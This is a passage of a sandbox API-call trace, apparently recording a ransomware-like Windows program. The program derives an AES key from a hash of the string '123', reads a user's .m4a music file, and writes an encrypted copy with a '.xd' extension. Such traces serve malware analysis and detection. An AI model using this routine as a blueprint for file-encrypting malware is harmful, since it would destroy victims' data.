wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.243] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.243] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.243] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.243] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.243] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.243] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.243] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.243] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.243] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.243] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.243] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.243] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.243] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.243] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.243] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.243] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.243] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.243] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0064.244] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0064.244] CryptCreateHash (in: hProv=0x17ab6e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0064.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.244] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0064.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.245] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.245] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.245] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621798, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0064.245] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0064.245] CryptHashData (hHash=0x164c630, pbData=0x1629620, dwDataLen=0x3, dwFlags=0x1) returned 1 [0064.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.245] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.245] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.245] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.245] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.245] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0064.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217c8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0064.246] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0064.246] CryptDeriveKey (in: hProv=0x17ab6e8, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c970) returned 1 [0064.246] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.246] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.247] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.247] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0064.247] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0064.247] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0064.247] CryptDestroyHash (hHash=0x164c630) returned 1 [0064.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.247] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.247] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.247] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.247] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.248] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\kxxk0qb6fhxghkka.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0064.248] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.248] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0064.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.248] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia")) returned 0x10 [0064.249] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\kxxk0qb6fhxghkka.m4a.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0064.249] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.249] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.249] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.251] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0064.251] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0064.253] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x343b, lpOverlapped=0x0) returned 1 [0064.253] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0064.257] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.258] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.258] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.258] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0064.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.259] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0064.259] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.259] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0064.260] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.260] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.260] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.260] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0064.260] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0064.260] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0064.260] CryptGetKeyParam (in: hKey=0x164c970, dwParam=0x7, pbData=0x1629610, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629610*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0064.260] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.260] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.260] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.260] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.260] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.260] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.260] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.261] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.261] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.261] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.261] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.261] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.261] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.261] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.261] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.261] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.261] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.261] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.261] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.261] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.261] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.261] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.261] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.261] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.262] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.262] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.262] CryptEncrypt (in: hKey=0x164c970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1343b, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x13440) returned 1 [0064.263] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.263] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.263] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.263] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.263] CharLowerBuffW (in: lpsz="byte[78913]", cchLength=0xb | out: lpsz="byte[78913]") returned 0xb [0064.263] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.265] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.265] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.265] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.267] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.267] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.267] CryptEncrypt (in: hKey=0x164c970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e3f60*, pdwDataLen=0x130e618*=0x1343b, dwBufLen=0x13440 | out: pbData=0x17e3f60*, pdwDataLen=0x130e618*=0x13440) returned 1 [0064.267] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 